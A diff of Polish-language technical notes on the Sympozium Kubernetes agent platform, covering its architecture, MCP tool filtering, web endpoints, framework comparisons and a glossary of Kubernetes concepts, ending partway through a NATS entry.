toolsDeny: [delete_repo] # BLOKUJ te narzędzia (blacklist)
```
`toolsDeny` applied after `toolsAllow` - można pozwolić na all except specific.
## Auto-discovery
Controller probeuje MCP server po deploy:
1. Wysyła MCP tools/list request
2. Odkrywa dostępne narzędzia
3. Aplikuje allow/deny filtry
4. Zapisuje w `status.tools[]`
5. Aktualizuje `status.toolCount`
## Transport modes
### stdio → HTTP adapter
Serwer MCP używa stdio (stdin/stdout). Controller automatycznie dodaje HTTP adapter:
```
Container: my-mcp-server --stdio
HTTP adapter: wraps stdio → HTTP endpoint
mcp-bridge sidecar connects via HTTP
```
### HTTP (native)
Serwer MCP natywnie serwuje HTTP:
```
Container: my-mcp-server --port 8080
mcp-bridge sidecar connects directly
```
---
Powiązane: [[MCPServer]] | [[SympoziumInstance]] | [[Przepływ danych i IPC]]

View File

@@ -0,0 +1,60 @@
# Node Probe - odkrywanie inferencji
#sympozium #komunikacja #inference #discovery
## Koncepcja
Node Probe to **DaemonSet** odkrywający lokalne inference providers (Ollama, vLLM, llama-cpp, LM Studio) zainstalowane bezpośrednio na nodach klastra.
## Jak to działa
```
Node Probe Pod (DaemonSet - jeden per node)
Probeuje localhost ports:
- :11434 (Ollama)
- :8000 (vLLM)
- :1234 (LM Studio)
- :8080 (llama-cpp)
Jeśli znalazł provider:
- Pobiera listę modeli (GET /v1/models)
- Annotuje node:
sympozium.ai/inference-provider: ollama
sympozium.ai/inference-models: llama3.2,codellama
sympozium.ai/inference-url: http://localhost:11434/v1
API Server czyta annotacje node'ów
TUI/Web wizard pokazuje dostępne node'y i modele
Użytkownik wybiera → nodeSelector w SympoziumInstance
```
## Cel
Dla lokalnych providerów (Ollama na GPU node) nie trzeba:
- Ręcznie konfigurować baseURL
- Szukać na jakich nodach jest Ollama
- Sprawdzać jakie modele są dostępne
Node Probe automatyzuje discovery i prezentuje w UI.
## nodeSelector
```yaml
# SympoziumInstance
spec:
agents:
default:
model: llama3.2
baseURL: "http://localhost:11434/v1"
nodeSelector:
sympozium.ai/inference-provider: ollama
```
Agent pods będą schedulowane TYLKO na nodach z Ollama.
---
Powiązane: [[SympoziumInstance]] | [[Control Plane]]

View File

@@ -0,0 +1,93 @@
# Web Endpoints - OpenAI-compat API
#sympozium #komunikacja #web #api
## Koncepcja
Sympozium może eksponować agentów jako **HTTP API** kompatybilne z OpenAI API i MCP protocol.
## Architektura
```
HTTP Client
Envoy Gateway → HTTPRoute (per instance)
Web Proxy Pod (Deployment - server mode):
├── Agent container
├── Web Proxy sidecar:
│ ├── POST /v1/chat/completions → tworzy AgentRun (task mode)
│ ├── GET /v1/models → listuje dostępne modele
│ ├── SSE /sse → MCP streaming
│ ├── POST /message → MCP request
│ └── Auth: Bearer sk-<hex> API key
├── IPC Bridge
└── Skill sidecars
```
## Aktywacja
Dodanie skillu `web-endpoint` do SympoziumInstance:
```yaml
skills:
- skillPackRef: web-endpoint
```
Instance Reconciler automatycznie:
1. Tworzy AgentRun w trybie server
2. AgentRun Reconciler tworzy Deployment + Service
3. Jeśli Gateway dostępny → HTTPRoute
## Endpointy
| Endpoint | Metoda | Opis |
|----------|--------|------|
| `/v1/chat/completions` | POST | OpenAI-compatible chat |
| `/v1/models` | GET | Lista modeli |
| `/sse` | GET | MCP SSE stream |
| `/message` | POST | MCP request |
| `/health` | GET | Health check |
## Auto-generated API key
Controller automatycznie generuje Secret z API key:
```
Secret: <instance>-web-endpoint-key
Data:
api-key: sk-<random-hex>
```
Użytkownik używa klucza w Bearer auth:
```bash
curl -H "Authorization: Bearer sk-abc123" \
https://my-agent.sympozium.example.com/v1/chat/completions
```
## Rate limiting
```yaml
webEndpoint:
rateLimit:
requestsPerMinute: 60
burstSize: 10
```
## Per-request AgentRun
Kluczowe: Web proxy sam działa jako Deployment (server mode), ale **każdy przychodzący request tworzy osobny AgentRun w trybie task**:
```
POST /v1/chat/completions
Web Proxy → tworzy AgentRun (mode: task, label: source=web-proxy)
AgentRun → Job → Agent → wynik
Web Proxy → HTTP Response (blocking lub streaming)
```
To zachowuje ephemeral model: izolacja, RBAC, cleanup per request.
---
Powiązane: [[Tryb Server vs Task]] | [[SympoziumInstance]] | [[Cykl życia AgentRun]]

View File

@@ -0,0 +1,75 @@
# Sympozium vs frameworki in-process
#sympozium #porównanie #langchain #crewai
## Kontekst
Frameworki in-process (LangChain, CrewAI, AutoGen, LlamaIndex) uruchamiają agentów w jednym procesie. Sympozium reprezentuje podejście "infrastructure-native".
## Porównanie architektoniczne
| Aspekt | In-process frameworks | Sympozium (K8s-native) |
|--------|----------------------|------------------------|
| **Wykonanie agenta** | Shared memory, single process | Ephemeral **Pod** per invocation |
| **Orkiestracja** | In-process registry + queue | **CRD-based** + controller reconciliation |
| **Sandbox** | Docker sidecar (long-lived) | Pod **SecurityContext** + Agent Sandbox |
| **IPC** | In-process EventEmitter | Filesystem sidecar + **NATS JetStream** |
| **Tool gating** | In-process pipeline | **Admission webhooks** + SympoziumPolicy |
| **Persistent memory** | Files on disk | **SQLite + FTS5** na PVC |
| **Scheduled tasks** | Cron jobs / external | **SympoziumSchedule CRD** |
| **State** | SQLite + flat files | **etcd** + PostgreSQL |
| **Multi-tenancy** | Single-instance file lock | **Namespaced CRDs** + RBAC |
| **Scaling** | Vertical only | **Horizontal** - stateless control plane |
| **Channels** | In-process per channel | Dedicated **Deployment** per channel |
| **External tools** | Plugin SDKs | **MCPServer CRD** + auto-discovery |
| **Observability** | Application logs | kubectl, OTel, TUI, Web UI |
## Dlaczego "infrastructure-native"?
Sympozium nie implementuje orkiestracji w kodzie aplikacji. Zamiast tego **mapuje koncepty agentowe na prymitywy Kubernetes**:
```
LangChain concept → Sympozium concept → K8s primitive
─────────────────────────────────────────────────────────────
Agent → AgentRun → Job/Pod
Tool → SkillPack sidecar → Container + RBAC
Memory → Memory server → Deployment + PVC
Chain → Sub-agents → Parent-child Jobs
Guard rail → SympoziumPolicy → Admission Webhook
Scheduler → SympoziumSchedule → CRD + Controller
Callback handler → NATS events → JetStream pub/sub
Vector store → SQLite FTS5 → PVC-backed DB
```
## Analiza trade-offs
### Complexity
- **In-process:** Prosty pip install, kilka linii Pythona
- **Sympozium:** K8s cluster, Helm install, CRDs, controllers
### Flexibility
- **In-process:** Dowolny Python code, łatwe prototyping
- **Sympozium:** Deklaratywny YAML, ograniczony do tego co CRDs oferują
### Production readiness
- **In-process:** Trzeba samemu zbudować izolację, scaling, monitoring
- **Sympozium:** Built-in isolation, scaling, monitoring, multi-tenancy
### Debugging
- **In-process:** Standard Python debugger, print statements
- **Sympozium:** kubectl logs, OTel traces, TUI, CRD status
## Kiedy co?
| Scenariusz | In-process | Sympozium |
|-----------|------------|-----------|
| Prototyping | Idealne | Overkill |
| Single developer | Idealne | Za dużo overhead |
| Production multi-tenant | Trudne | Idealne |
| Cluster operations | Niebezpieczne | Bezpieczne |
| Scheduled automation | Wymaga dodatkowej infra | Built-in |
| Compliance/audit | Wymaga budowy | Native |
---
Powiązane: [[Sympozium vs kagent]] | [[Kluczowe decyzje projektowe]] | [[Model efemerycznych agentów]]

View File

@@ -0,0 +1,84 @@
# Sympozium vs kagent
#sympozium #porównanie #kagent
## Fundamentalna różnica
| | Sympozium | kagent |
|---|-----------|--------|
| **Model wykonania** | Ephemeral Pod (Job) per run | Persistent engine process |
| **Optymalizuje dla** | Izolacja, bezpieczeństwo, auditability | Niska latencja, konwersacja |
## Szczegółowe porównanie
| Wymiar | Sympozium | kagent |
|--------|-----------|--------|
| **Agent runtime** | Ephemeral Pod (K8s Job) | Long-running engine (Python/Go ADK) |
| **Tool isolation** | Sidecar per skill + ephemeral RBAC | In-process (MCP client w engine) |
| **Kernel sandbox** | gVisor/Kata via agent-sandbox + warm pools | Brak |
| **Multi-tenancy** | Namespace-per-tenant, per-instance RBAC, webhooks | Namespace-scoped CRDs |
| **Agent packaging** | PersonaPacks (bundle personas+skills+schedules+memory) | Individual Agent CRDs |
| **Persistent memory** | SQLite + FTS5 na PVC | Vector-backed (in-engine) |
| **Channels** | Telegram, Slack, Discord, WhatsApp (dedykowane Deployments + NATS) | Slack, Discord (in-engine) |
| **Scheduled runs** | SympoziumSchedule CRD + concurrency policies | Brak |
| **MCP** | MCPServer CRD + auto-discovery + tool filtering + managed deploy | MCP tools as CRDs |
| **Human-in-the-loop** | SympoziumPolicy CRD (admission-time) | Tool-level approve/reject w UI |
## Analiza: Tool Isolation
**To najważniejsza różnica z perspektywy bezpieczeństwa.**
### kagent (in-process):
```
Engine process (z credentials)
Tool call: kubectl get pods
Wykonanie w tym samym procesie z tymi samymi credentials
```
Jeśli LLM "przekona" engine do złośliwego tool call → pełne uprawnienia engine'a.
### Sympozium (sidecar):
```
Agent container (BEZ credentials K8s)
Tool call: kubectl get pods
/ipc/tools/cmd.json → IPC Bridge → NATS → Skill Sidecar
Sidecar (z scoped, ephemeral RBAC: ONLY get pods)
```
Agent nigdy nie ma bezpośrednich credentials. Sidecar ma minimum wymaganych uprawnień.
## Kiedy który?
### Wybierz Sympozium gdy:
- Agenty wykonują cluster-admin operations (kubectl, helm, scaling)
- Multi-tenant environment (wiele zespołów, jeden klaster)
- Scheduled, unattended runs (nocne sweepy, triage alertów)
- Kanały poza Slack/Discord (Telegram, WhatsApp)
- Kernel-level sandboxing (untrusted agent code)
- Auditability i compliance requirements
### Wybierz kagent gdy:
- Low-latency conversational agents (brak cold-start)
- Google ADK, CrewAI, LangGraph integration
- Single-tenant experimentation
- A2A (Agent-to-Agent) protocol support
- Lżejszy setup
## Trade-off spectrum
```
Szybkość odpowiedzi ←─────────────────────────→ Izolacja/Bezpieczeństwo
kagent Sympozium
(persistent engine, (ephemeral pods,
fast responses, strong isolation,
shared process) per-run RBAC)
```
---
Powiązane: [[Model efemerycznych agentów]] | [[Skill Sidecars i auto-RBAC]] | [[Agent Sandbox - gVisor i Kata]]

View File

@@ -0,0 +1,77 @@
# Admission Webhook
#kubernetes #security #api #słownik
## Co to jest?
**Admission Webhook** to mechanizm Kubernetes pozwalający na **przechwycenie i walidację/modyfikację żądań do API servera** zanim zasób zostanie zapisany w etcd.
## Typy
### Validating Admission Webhook
- **Sprawdza** czy żądanie jest prawidłowe
- Może ALLOW lub DENY
- Nie modyfikuje żądania
- Przykład: "Czy AgentRun spełnia SympoziumPolicy?"
### Mutating Admission Webhook
- **Modyfikuje** żądanie przed walidacją
- Może dodawać, usuwać lub zmieniać pola
- Przykład: "Dodaj domyślny SecurityContext do poda"
## Przepływ
```
kubectl apply -f agentrun.yaml
API Server:
1. Authentication (kto?)
2. Authorization / RBAC (czy może?)
3. → Mutating Webhooks (modyfikacja)
4. Schema Validation (OpenAPI)
5. → Validating Webhooks (walidacja)
6. Zapis do etcd
```
## Kluczowe cechy
- **Synchroniczne** - żądanie czeka na odpowiedź webhooka
- **Fail-open / fail-closed** - konfiguracja co robić gdy webhook jest niedostępny
- **TLS required** - webhook musi serwować HTTPS (cert-manager w Sympozium)
- **Scope** - filtrowanie po zasobach, operacjach, namespace'ach
## Przykład konfiguracji
```yaml
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata:
name: sympozium-webhook
webhooks:
- name: validate.sympozium.ai
rules:
- apiGroups: ["sympozium.ai"]
resources: ["agentruns"]
operations: ["CREATE", "UPDATE"]
clientConfig:
service:
name: sympozium-webhook
namespace: sympozium-system
path: /validate-agent-pods
failurePolicy: Fail # Odrzuć jeśli webhook niedostępny
```
## Użycie w Sympozium
Sympozium używa admission webhook do enforcowania [[SympoziumPolicy]]:
- Sprawdza czy [[AgentRun]] spełnia politykę bezpieczeństwa
- Waliduje tool gating (allow/deny per tool)
- Enforces sandbox requirements
- Sprawdza limity sub-agentów
Enforcement odbywa się **at admission time** (przed tworzeniem poda), nie at runtime. Więcej w [[Admission Webhooks i polityki]].
---
Powiązane: [[Admission Webhooks i polityki]] | [[SympoziumPolicy]] | [[CRD - Custom Resource Definition]]

View File

@@ -0,0 +1,87 @@
# CRD - Custom Resource Definition
#kubernetes #api #słownik
## Co to jest?
**Custom Resource Definition (CRD)** to mechanizm Kubernetes pozwalający na **rozszerzenie API klastra o własne typy zasobów**. Po zainstalowaniu CRD, nowy typ zasobu jest traktowany przez API server identycznie jak wbudowane zasoby (Pod, Service, Deployment).
## Jak działa?
```
1. Instalacja CRD YAML → K8s API Server rejestruje nowy typ
2. Użytkownik tworzy instancję → Zapisana w etcd jak każdy zasób
3. Controller obserwuje → Reconciliuje desired state → actual state
```
## Przykład
```yaml
# Definicja CRD
apiVersion: apiextensions.k8s.io/v1
kind: CustomResourceDefinition
metadata:
name: agentruns.sympozium.ai
spec:
group: sympozium.ai
versions:
- name: v1alpha1
served: true
storage: true
scope: Namespaced
names:
plural: agentruns
singular: agentrun
kind: AgentRun
```
```yaml
# Instancja CRD (Custom Resource / CR)
apiVersion: sympozium.ai/v1alpha1
kind: AgentRun
metadata:
name: my-run
spec:
task: "Check cluster health"
```
## Kluczowe koncepty
| Koncept | Opis |
|---------|------|
| **CRD** | Definicja typu (schemat) |
| **CR** (Custom Resource) | Instancja danego typu |
| **Controller** | Kod obserwujący CR i realizujący intent |
| **Operator** | Controller + CRD + logika domenowa |
| **Status subresource** | Oddzielny endpoint do aktualizacji statusu |
| **Finalizer** | Blokuje usunięcie do czasu cleanup |
| **Validation** | Schema validation (OpenAPI v3) lub webhook |
## Dlaczego CRD a nie ConfigMap?
| CRD | ConfigMap |
|-----|-----------|
| Typowane, walidowane | Dowolne dane |
| Status subresource | Brak statusu |
| kubectl native (`kubectl get agentruns`) | Wymaga custom tooling |
| RBAC per-resource | RBAC per-configmap |
| Watch API (event-driven) | Polling |
| ownerReferences (GC) | Manualne zarządzanie |
## CRD w Sympozium
Sympozium definiuje **7 CRDs** (API group: `sympozium.ai/v1alpha1`):
| CRD | Opis |
|-----|------|
| [[SympoziumInstance]] | Tożsamość agenta / tenant |
| [[AgentRun]] | Pojedyncze wywołanie agenta |
| [[PersonaPack]] | Bundle pre-konfigurowanych agentów |
| [[SkillPack]] | Portable skills (Markdown + sidecar) |
| [[SympoziumPolicy]] | Polityki governance |
| [[SympoziumSchedule]] | Cron-based recurring tasks |
| [[MCPServer]] | External MCP tool providers |
---
Powiązane: [[Controller i Reconciler]] | [[Finalizer]] | [[ownerReference]]

View File

@@ -0,0 +1,82 @@
# ConfigMap i Secret
#kubernetes #storage #słownik
## ConfigMap
**ConfigMap** przechowuje **niekonfidencjalne dane** jako pary klucz-wartość. Montowane jako pliki lub zmienne środowiskowe w podach.
```yaml
apiVersion: v1
kind: ConfigMap
metadata:
name: my-agent-memory
data:
MEMORY.md: |
# Agent Memory
- Detected OOM on pod-x
```
### Montowanie jako pliki
```yaml
volumes:
- name: skills
configMap:
name: skillpack-k8s-ops
volumeMounts:
- name: skills
mountPath: /skills
readOnly: true
```
### Ograniczenia
- Max rozmiar: **1 MB** (etcd limit)
- Brak szyfrowania
- Widoczne w kubectl describe
## Secret
**Secret** przechowuje **poufne dane** (hasła, tokeny, klucze) zakodowane w base64.
```yaml
apiVersion: v1
kind: Secret
metadata:
name: openai-key
type: Opaque
data:
OPENAI_API_KEY: c2stYWJjMTIz # base64 encoded
```
### Montowanie jako env vars
```yaml
envFrom:
- secretRef:
name: openai-key
```
### Typy Secrets
| Typ | Opis |
|-----|------|
| `Opaque` | Dowolne dane |
| `kubernetes.io/tls` | Certyfikaty TLS |
| `kubernetes.io/dockerconfigjson` | Docker registry credentials |
| `kubernetes.io/service-account-token` | Token SA |
## Użycie w Sympozium
### ConfigMaps
- **Skills** - SkillPack → ConfigMap z Markdown instrukcjami, montowany w `/skills/`
- **Memory** (legacy) - `<instance>-memory` z kluczem `MEMORY.md`
- **Input** - Task + system prompt dla agenta
- **MCP config** - Konfiguracja MCP serwerów
### Secrets
- **AuthRefs** - Klucze API providerów LLM (OPENAI_API_KEY, ANTHROPIC_API_KEY)
- **Channel credentials** - Telegram bot token, Slack token
- **Web endpoint API key** - Auto-generated `sk-<hex>`
- **Skill secrets** - GH_TOKEN dla github-gitops (mirrored do namespace runu)
---
Powiązane: [[SkillPack]] | [[Persistent Memory]] | [[SympoziumInstance]]

View File

@@ -0,0 +1,79 @@
# Controller i Reconciler
#kubernetes #architecture #operator #słownik
## Co to jest?
**Controller** to pętla kontrolna w Kubernetes obserwująca stan zasobów i **doprowadzająca rzeczywisty stan do pożądanego** (desired state → actual state). **Reconciler** to funkcja wywoływana gdy stan zasobu zmienia się.
## Wzorzec reconciliation
```
Desired state (CRD spec) → Controller → Actual state (K8s resources)
Pętla:
1. Observe: Watch API server for changes
2. Diff: Compare desired vs actual
3. Act: Create/update/delete resources
4. Repeat
```
## Kluczowe koncepty
| Koncept | Opis |
|---------|------|
| **Watch** | Subskrypcja na eventy (create/update/delete) |
| **Work queue** | Kolejka zasobów do reconciliation |
| **Reconcile()** | Funkcja wywoływana per zasób |
| **Requeue** | "Sprawdź mnie ponownie za N sekund" |
| **Idempotent** | Reconcile() musi być bezpieczne do wielokrotnego wywołania |
| **Level-triggered** | Reaguje na **stan**, nie na **event** |
## Level-triggered vs edge-triggered
```
Edge-triggered: "Coś się zmieniło!" → reaguj na zmianę
Level-triggered: "Jaki jest aktualny stan?" → doprowadź do desired
Kubernetes Controllers = LEVEL-TRIGGERED
→ Nie ważne CO się zmieniło
→ Ważne JAKI jest stan i JAKI powinien być
→ Resilient na missed events
```
## controller-runtime
Sympozium używa `sigs.k8s.io/controller-runtime` - framework Go dla Kubernetes controllers:
```go
type AgentRunReconciler struct {
client.Client
Scheme *runtime.Scheme
Log logr.Logger
}
func (r *AgentRunReconciler) Reconcile(ctx context.Context, req ctrl.Request) (ctrl.Result, error) {
// 1. Fetch resource
// 2. Compare desired vs actual
// 3. Create/update/delete
// 4. Update status
return ctrl.Result{RequeueAfter: 10 * time.Second}, nil
}
```
## Controllers w Sympozium
| Controller | Zasób | Co reconciliuje |
|------------|-------|-----------------|
| AgentRunReconciler | [[AgentRun]] | [[Job]]/Sandbox CR, RBAC, ConfigMaps |
| SympoziumInstanceReconciler | [[SympoziumInstance]] | Channel [[Deployment|Deployments]], memory |
| PersonaPackReconciler | [[PersonaPack]] | Instances, Schedules, memory |
| SkillPackReconciler | [[SkillPack]] | ConfigMaps ze skills |
| SympoziumScheduleReconciler | [[SympoziumSchedule]] | AgentRun na schedule |
| MCPServerReconciler | [[MCPServer]] | Deployments, Services |
Więcej: [[Control Plane]] | [[Cykl życia AgentRun]]
---
Powiązane: [[CRD - Custom Resource Definition]] | [[Control Plane]] | [[Finalizer]]

View File

@@ -0,0 +1,39 @@
# DaemonSet
#kubernetes #workload #słownik
## Co to jest?
**DaemonSet** zapewnia że **jeden pod działa na każdym (lub wybranych) nodzie** klastra. Gdy nowy node jest dodany, DaemonSet automatycznie deployuje na nim pod.
## Use cases
| Use case | Przykład |
|----------|---------|
| Log collection | Fluentd, Filebeat |
| Monitoring | Node Exporter, Datadog Agent |
| Storage | Ceph, GlusterFS |
| Networking | Calico, Cilium |
| **Inference discovery** | Sympozium Node Probe |
## Różnica vs Deployment
| | DaemonSet | [[Deployment]] |
|---|-----------|------------|
| Repliki | 1 per node (auto) | N (zdefiniowane) |
| Scheduling | Gwarantowany per node | Scheduler decyduje |
| Scaling | Dodanie/usunięcie node'a | Zmiana replica count |
## Użycie w Sympozium
**Node Probe DaemonSet** (`cmd/node-probe/`):
- Jeden pod na każdym nodzie
- Probeuje localhost porty (Ollama :11434, vLLM :8000, etc.)
- Annotuje node z odkrytymi inference providers
- API Server czyta annotacje → TUI/Web UI pokazuje
Więcej: [[Node Probe - odkrywanie inferencji]]
---
Powiązane: [[Node Probe - odkrywanie inferencji]] | [[Deployment]] | [[Pod]]

View File

@@ -0,0 +1,47 @@
# Deployment
#kubernetes #workload #słownik
## Co to jest?
**Deployment** to zasób Kubernetes zarządzający **zestawem identycznych podów** (ReplicaSet). Zapewnia deklaratywne aktualizacje, rollback, skalowanie i self-healing.
## Kluczowe cechy
| Cecha | Opis |
|-------|------|
| **Replicas** | Ilość identycznych podów |
| **Rolling update** | Stopniowa wymiana podów na nowe |
| **Rollback** | Powrót do poprzedniej wersji |
| **Self-healing** | Restart crashed podów |
| **Scaling** | Zmiana ilości replik (ręczna lub HPA) |
## Deployment vs Job
| | [[Job]] | Deployment |
|---|---------|------------|
| Lifecycle | Run-to-completion | Long-running |
| Restart | Never/OnFailure | Always |
| Replicas | Completions | Desired count |
| Use case | Batch, one-shot | Services |
## Użycie w Sympozium
Deployments są używane dla **długo żyjących komponentów**:
| Komponent | Repliki | Opis |
|-----------|---------|------|
| Channel pods | 1 per kanał | Telegram, Slack, Discord, WhatsApp |
| Memory server | 1 per instance | SQLite + FTS5 na PVC |
| Web proxy | 1 per instance | OpenAI-compat API (server mode) |
| Controller | 1 | Reconciler CRDs |
| API Server | 1 | HTTP + WebSocket |
| NATS | 1 (StatefulSet) | Event bus |
[[AgentRun]] w **trybie server** tworzy Deployment + Service zamiast Job.
Więcej: [[Tryb Server vs Task]] | [[Kanały - Telegram Slack Discord WhatsApp]]
---
Powiązane: [[Job]] | [[StatefulSet]] | [[Pod]] | [[Tryb Server vs Task]]

View File

@@ -0,0 +1,64 @@
# Finalizer
#kubernetes #lifecycle #słownik
## Co to jest?
**Finalizer** to mechanizm Kubernetes **blokujący usunięcie zasobu** do czasu wykonania cleanup. Dopóki finalizer istnieje na zasobie, K8s nie usunie go z etcd.
## Jak działa?
```
1. Zasób ma finalizer: ["sympozium.ai/finalizer"]
2. kubectl delete → DeletionTimestamp ustawiony, ale zasób ISTNIEJE
3. Controller widzi DeletionTimestamp → wykonuje cleanup
4. Controller usuwa finalizer z listy
5. K8s widzi brak finalizerów → zasób usunięty z etcd
```
## Bez vs z finalizer
```
Bez finalizer:
kubectl delete agentrun → NATYCHMIAST usunięty
→ Orphaned Jobs, RBAC, ConfigMaps!
Z finalizer:
kubectl delete agentrun → DeletionTimestamp set
→ Controller: cleanup Jobs, RBAC, ConfigMaps
→ Controller: remove finalizer
→ Zasób usunięty
```
## Użycie w Sympozium
### AgentRun finalizer
```go
const agentRunFinalizer = "sympozium.ai/agentrun-finalizer"
```
Cleanup przy usunięciu:
- Delete Job/Sandbox CR
- Delete ephemeral RBAC (ClusterRole, ClusterRoleBinding)
- Delete input ConfigMap
- Delete MCP ConfigMap
### SympoziumInstance finalizer
```go
const sympoziumInstanceFinalizer = "sympozium.ai/finalizer"
```
Cleanup:
- Delete channel Deployments
- Delete memory ConfigMap
- Delete memory Deployment/Service
## Pułapki
- Jeśli controller jest niedostępny → finalizer blokuje usunięcie na zawsze
- "Stuck" zasoby: trzeba ręcznie usunąć finalizer (`kubectl edit`)
- Finalizer dodawany tylko dla non-terminal runs (nie dla Succeeded/Failed)
---
Powiązane: [[Controller i Reconciler]] | [[ownerReference]] | [[Cykl życia AgentRun]]

View File

@@ -0,0 +1,74 @@
# Helm Chart
#kubernetes #deployment #słownik
## Co to jest?
**Helm** to package manager dla Kubernetes. **Helm Chart** to paczka szablonów Kubernetes YAML z parametryzacją (values).
## Analogia
```
apt install nginx → helm install sympozium sympozium/sympozium
apt-get update → helm repo update
dpkg -l → helm list
```
## Struktura
```
charts/sympozium/
├── Chart.yaml # Metadata (nazwa, wersja)
├── values.yaml # Domyślne parametry
├── templates/ # Szablony K8s YAML
│ ├── deployment.yaml
│ ├── service.yaml
│ ├── configmap.yaml
│ └── ...
└── charts/ # Sub-charts (zależności)
```
## values.yaml
```yaml
# Przykładowe parametry
controller:
replicas: 1
image:
repository: ghcr.io/sympozium-ai/sympozium/controller
tag: v0.0.25
resources:
requests:
cpu: 250m
memory: 512Mi
agentSandbox:
enabled: true
defaultRuntimeClass: gvisor
observability:
enabled: true
otlpEndpoint: "otel-collector:4317"
```
## Użycie w Sympozium
Sympozium instalowane via Helm:
```bash
helm repo add sympozium https://deploy.sympozium.ai/charts
helm install sympozium sympozium/sympozium
```
Chart zawiera:
- Controller Manager [[Deployment]]
- API Server Deployment
- Webhook Deployment + cert-manager integration
- NATS [[StatefulSet]]
- [[CRD - Custom Resource Definition|CRD]] manifests
- [[RBAC]] (ClusterRole, bindings)
- [[NetworkPolicy]] templates
- Built-in [[PersonaPack|PersonaPacks]] i [[SkillPack|SkillPacks]]
---
Powiązane: [[Struktura repozytorium]] | [[CRD - Custom Resource Definition]] | [[Control Plane]]

71
08-Słownik-K8s/Job.md Normal file
View File

@@ -0,0 +1,71 @@
# Job (Kubernetes)
#kubernetes #workload #słownik
## Co to jest?
**Job** to zasób Kubernetes tworzący **pod który wykonuje zadanie i kończy się**. W odróżnieniu od [[Deployment]] (pody działają ciągle), Job tworzy pod który ma zakończyć się sukcesem.
## Zachowanie
```
Job created → Pod created → Pod runs → Pod completes (exit code 0) → Job Succeeded
→ Pod fails (exit code != 0) → Job retries or Failed
```
## Kluczowe cechy
| Cecha | Opis |
|-------|------|
| **Run-to-completion** | Pod kończy się po wykonaniu zadania |
| **Retry policy** | Konfigurowalny `backoffLimit` (ile razy retry) |
| **Parallelism** | Wiele podów jednocześnie (`parallelism`) |
| **TTL cleanup** | Automatyczne usuwanie po N sekundach |
| **Completions** | Ile podów musi zakończyć się sukcesem |
## Przykład
```yaml
apiVersion: batch/v1
kind: Job
metadata:
name: agent-run-001
spec:
backoffLimit: 0 # Bez retries
ttlSecondsAfterFinished: 300 # Usuń po 5 minutach
template:
spec:
restartPolicy: Never
containers:
- name: agent
image: agent-runner:v1
```
## Job vs inne workloady
| Workload | Lifecycle | Restart | Use case |
|----------|-----------|---------|----------|
| **Job** | Run-to-completion | Never/OnFailure | Batch, one-shot |
| [[Deployment]] | Long-running | Always | Web services |
| CronJob | Periodic Job | Never/OnFailure | Scheduled batch |
| [[DaemonSet]] | One per node | Always | Node agents |
| [[StatefulSet]] | Ordered, stable | Always | Databases |
## Użycie w Sympozium
**AgentRun w trybie task = Kubernetes Job:**
Każde wywołanie agenta tworzy Job z:
- Agent container (LLM loop)
- IPC Bridge sidecar
- Skill sidecars
- `backoffLimit: 0` (brak retry - lepsze logowanie błędów)
- `restartPolicy: Never`
Po zakończeniu controller zbiera logi, wynik i token usage ze statusu poda.
Więcej: [[Model efemerycznych agentów]] | [[Cykl życia AgentRun]]
---
Powiązane: [[Deployment]] | [[Model efemerycznych agentów]] | [[Pod]]

View File

@@ -0,0 +1,101 @@
# Kata Containers
#kubernetes #security #sandbox #słownik
## Co to jest?
**Kata Containers** to technologia łącząca **lekkość kontenerów z bezpieczeństwem maszyn wirtualnych**. Każdy kontener (lub pod) uruchamiany jest wewnątrz dedykowanej, lekkiej VM z własnym kernelem.
## Jak działa?
```
Bez Kata:
Container → shared Host Kernel
Z Kata:
Container → Guest Kernel (dedykowany) → Hypervisor (QEMU/Cloud Hypervisor) → Host Kernel
```
Każdy pod dostaje:
- **Własny kernel Linux** (guest kernel)
- **Własną przestrzeń pamięci** (izolacja hypervisora)
- **Dedykowany agent** (kata-agent) zarządzający kontenerem wewnątrz VM
## Architektura
```
┌──────────────────────────────────┐
│ Host (Node) │
│ │
│ ┌────────────────────────────┐ │
│ │ Lightweight VM │ │
│ │ ┌──────────────────────┐ │ │
│ │ │ Container │ │ │
│ │ │ (agent pod) │ │ │
│ │ └──────────────────────┘ │ │
│ │ Guest Kernel (Linux) │ │
│ └────────────────────────────┘ │
│ Hypervisor (QEMU/Cloud HV/FC) │
│ Host Kernel │
└──────────────────────────────────┘
```
## Hypervisory wspierane
| Hypervisor | Opis | Użycie |
|------------|------|--------|
| **QEMU** | Pełnofunkcyjny, uniwersalny | Domyślny |
| **Cloud Hypervisor** | Zoptymalizowany dla cloud-native | Produkcja |
| **Firecracker** | Micro-VM od AWS (Lambda/Fargate) | Serverless |
| **ACRN** | Dla IoT/embedded | Specjalistyczny |
## Porównanie z gVisor
| Aspekt | [[gVisor]] | Kata Containers |
|--------|---------|-----------------|
| Mechanizm | User-space kernel (Sentry) | Lightweight VM (hypervisor) |
| Izolacja | Przechwytywanie syscalls | Pełna izolacja kernela |
| Overhead | 5-10% | 15-20% |
| Kompatybilność | ~95% syscalls | ~99% |
| Startup time | Szybki (~100ms) | Wolniejszy (~500ms-2s) |
| Memory overhead | Niski (~20MB) | Wyższy (~50-100MB per VM) |
| GPU support | Ograniczone | Lepsze (PCI passthrough) |
| Bezpieczeństwo | Silne | **Najsilniejsze** (VM boundary) |
## Kiedy Kata vs gVisor?
### Wybierz gVisor gdy:
- Potrzebujesz niskiego overhead
- Workload jest I/O-intensive
- Chcesz szybki startup
### Wybierz Kata gdy:
- Potrzebujesz **najsilniejszej izolacji** (compliance, untrusted code)
- Workload wymaga pełnej kompatybilności syscalls
- GPU passthrough jest potrzebny
## Użycie w Kubernetes
Kata integruje się przez [[RuntimeClass]]:
```yaml
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
name: kata
handler: kata-qemu
```
## Użycie w Sympozium
```yaml
agentSandbox:
enabled: true
runtimeClass: kata
```
Wymaga: Kata Containers zainstalowane na nodach + RuntimeClass `kata`.
---
Powiązane: [[gVisor]] | [[Agent Sandbox - gVisor i Kata]] | [[RuntimeClass]] | [[Model bezpieczeństwa Defence-in-Depth]]

View File

@@ -0,0 +1,51 @@
# NATS JetStream
#kubernetes #messaging #słownik
## Co to jest?
**NATS** to lekki, cloud-native system messaging. **JetStream** to warstwa persistence dodana do NATS, umożliwiająca **durable pub/sub** z replay, retention i consumer groups.
## NATS vs JetStream
| NATS Core | NATS JetStream |
|-----------|----------------|
| Fire-and-forget | Durable (zapisane na dysk) |
| At-most-once | At-least-once delivery |
| Brak replay | Replay od dowolnego punktu |
| Brak consumer groups | Consumer groups + ack |
